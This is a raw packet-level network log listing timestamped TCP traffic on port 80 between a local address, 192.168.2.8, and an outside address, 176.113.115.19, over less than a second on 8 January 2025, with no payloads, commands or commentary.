Jan 8, 2025 09:42:33.493242025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493242979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493269920 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493282080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493334055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493345976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493370056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493370056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493383884 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493383884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493397951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493400097 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493411064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493415117 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493424892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493429899 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493447065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493463039 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493531942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493545055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493556023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493566990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493567944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493581057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493587971 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493597031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493607044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493618965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493623018 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493638992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493645906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493650913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493664026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493664026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493676901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493680000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493690968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493695974 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493704081 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493724108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493725061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493737936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.493748903 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.493768930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515078068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515089989 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515101910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515163898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515175104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515222073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515244007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515249014 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515259027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515280962 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515336990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515412092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515423059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515435934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515448093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515451908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515460968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515461922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515475035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515484095 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515489101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515511990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515527964 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.515535116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.515573025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577497005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577512026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577524900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577563047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577564001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577585936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577591896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577604055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577630043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577645063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577646017 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577658892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577682972 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577702999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577707052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577716112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577728033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577739000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577752113 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577766895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577771902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577784061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577795982 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577802896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577821016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577837944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577855110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577867031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577877998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577892065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577909946 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577924013 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577939034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577950954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577961922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577975035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577975035 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.577987909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.577995062 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.578006029 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.578028917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582542896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582571030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582583904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582596064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582608938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582613945 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582623005 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582639933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582639933 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582663059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582667112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582681894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582683086 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582705975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582710028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582721949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582722902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582735062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582747936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582747936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582765102 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582776070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582791090 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582794905 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582823038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582835913 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582839012 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582853079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582854033 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582874060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582880974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582891941 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582896948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582911968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582916021 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582926035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582933903 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582943916 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582958937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582959890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582974911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582987070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.582998037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.582998037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583009005 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583013058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583026886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583034039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583034992 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583048105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583060026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583060026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583070040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583072901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583086014 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583100080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583101034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583112955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583136082 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583136082 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583153009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583163023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583178043 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583178997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583192110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583195925 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583204031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583208084 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583218098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583226919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583240032 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583260059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583261013 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583272934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583285093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583297968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583298922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583307981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583329916 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583344936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583372116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583384037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583403111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583410025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583427906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583431005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583444118 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583445072 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583466053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583468914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583479881 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583483934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583507061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583520889 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583549976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583576918 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583589077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583590031 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583601952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583614111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583621979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583626986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583628893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583641052 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583650112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583677053 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583714008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583725929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583738089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583745956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583750010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583764076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583770037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583775997 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583777905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583807945 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583811998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583826065 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583837986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583848953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583853006 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583879948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583887100 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583893061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583915949 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583914042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583934069 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583934069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583945990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583957911 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583970070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.583982944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.583995104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.584007025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.584008932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.584019899 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.584033012 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.584043980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.584047079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.584059000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.584073067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.584080935 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.584086895 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.584105015 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.584129095 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.605581999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605593920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605618954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605642080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605659008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605673075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605684996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605698109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605725050 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.605751991 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.605787992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605814934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605829000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605834007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.605840921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605853081 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.605873108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.605906963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605920076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605931997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.605957985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.605971098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668102026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668118000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668129921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668199062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668215990 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668215990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668229103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668246031 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668256044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668267965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668268919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668291092 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668292999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668308020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668315887 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668320894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668334007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668349028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668353081 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668360949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668374062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668386936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668390036 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668404102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668416977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668420076 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668431044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668442965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668462038 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668483973 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668489933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668502092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668514967 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668526888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668530941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.668539047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668555975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.668574095 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673120975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673134089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673146009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673166037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673192024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673207998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673221111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673234940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673244953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673254013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673269033 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673295975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673317909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673331976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673347950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673360109 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673369884 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673373938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673388004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673389912 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673402071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673408031 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673417091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:33.673425913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:33.673437119 CET	49708	80	192.168.2.8	176.113.115.19
